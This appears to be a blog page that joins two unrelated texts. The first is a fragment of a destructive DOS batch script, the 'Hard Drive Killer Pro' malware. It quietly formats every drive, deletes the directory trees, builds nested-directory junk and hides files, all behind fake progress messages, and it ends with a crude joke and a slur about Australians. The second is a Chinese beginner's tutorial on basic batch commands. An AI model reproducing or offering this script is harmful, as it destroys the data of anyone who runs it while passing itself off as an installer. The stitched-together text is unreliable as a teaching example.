echo for %%%%a in ("if not exist %%2//nul md %%2" "if exist %%2//nul cd %%2") do %%%%a >>c://temp.bat 
echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c://temp.bat 
echo if not exist %%1://%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//%%2//nul goto startmd >>c://temp.bat 
call attrib +r +h c://temp.bat >nul 

cls 
echo Initializing variables . . . 
rem deltree /y %%a://*. only eliminates directories, hence leaving the file created above for further destruction. 
for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul 
cls 
echo Initializing variables . . . 
echo Validating Data . . . 
for %%a in (%drive%) do call c://temp.bat %%a Munga >nul 
cls 
echo Initializing variables . . . 
echo Validating Data . . . 
echo Analyzing System Structure . . . 
for %%a in (%drive%) call attrib -r -h %%a:// /S >nul 
call attrib +r +h c://temp.bat >nul 
call attrib +r +h c://autoexec.bat >nul 
cls 
echo Initializing variables . . . 
echo Validating Data . . . 
echo Analyzing System Structure . . . 
echo Initializing Application . . . 

for %%a in (%drive%) call deltree /y %%a://*. >nul 
cls 
echo Initializing variables . . . 
echo Validating Data . . . 
echo Analyzing System Structure . . . 
echo Initializing Application . . . 
echo Starting Application . . . 
for %%a in (%drive%) do call c://temp.bat %%a Munga >nul 

cls 
echo Thank you for using a Munga Bunga product. 
echo. 
echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius. 
echo. 
echo Here is a joke for you . . . 
echo. 
echo Q). Whats the worst thing about being an egg? 
echo A). You only get laid once. 
echo. 
echo HAHAHAHA, get it? Dont you just love that one? 
echo. 
echo Regards, 
echo. 
echo Munga Bunga 

:end 

rem Hard Drive Killer Pro Version 4.0, enjoy!!!! 
rem Author: Munga Bunga - from Australia, the land full of retarded Australians (help me get out of here).

你如何使用批处理文件!!(bat)
转载请注明出自雨林木风 bbs.ylmf.com,本贴地址:http://bbs.ylmf.com/read.php?tid=56675&u=732952
使用批处理文件


1.批处理文件的意义   
  后缀是bat的文件就是批处理文件,是一种文本文件。简单的说,它的作用就是自动的连续执行多条命令,批处理文件的内容就是一条一条的命令。那它有什么用呢? 
  比如,在启动wps软件时,每次都必须执行 
  C:\>cd wps 
  C:\WPS>spdos 
  C:\WPS>py 
  C:\WPS>wbx 
  C:\WPS>wps 
  如果每次用WPS之前都这样执行一次,您是不是觉得很麻烦呢? 
  如果有一个方法,只需编写一个批处理文件,就会自动执行刚才的所有命令,您想不想学呢? 
  当您看完此节,自己编写的第一个批处理文件顺利执行时,您一定会大吃一惊的。 
  此外电脑每次启动时都会寻找autoexec.bat这条批处理文件,从而可执行一些每次开机都要执行的命令,如设置路径path、加载鼠标驱动mouse、磁盘加速smartdrv等,可以使您的电脑真正自动化。 


2.常用命令   
  echo、@、call、pause、rem 是批处理文件最常用的几个命令,我们就从他们开始学起。 
echo
表示显示此命令后的字符
echo off
表示在此语句后所有运行的命令都不显示命令行本身
@
与echo off相象,但它是加在其它命令行的最前面,表示运行时不显示命令行本身。
call
调用另一条批处理文件(如果直接调用别的批处理文件 ,执行完那条文件后将无法执行当前文件后续命令)
pause
运行此句会暂停,显示Press any key to continue... 等待用户按任意键后继续 
rem
表示此命令后的字符为解释行,不执行,只是给自己今后查找用的 
  例:用edit编辑a.bat文件,输入下列内容后存盘为c:\a.bat,执行该批处理文件后可实现:将根目录中所有文件写入 a.txt中,启动UCDOS,进入WPS等功能。 
  批处理文件的内容为:         文件表示: 
    echo off            不显示命令行 
    dir c:\*.* >a.txt       将c盘文件列表写入a.txt 
    call c:\ucdos\ucdos.bat    调用ucdos 
    echo 你好            显示"你好" 
    pause              暂停,等待按键继续 
    rem 使用wps           注释将使用wps 
    cd ucdos            进入ucdos目录 
    wps               使用wps   
  批处理文件中还可以像C语言一样使用参数,这只需用到一个参数表示符%。 
posted on 2010-01-18 22:06  oKmAn.Org  阅读(222)  评论(0编辑  收藏  举报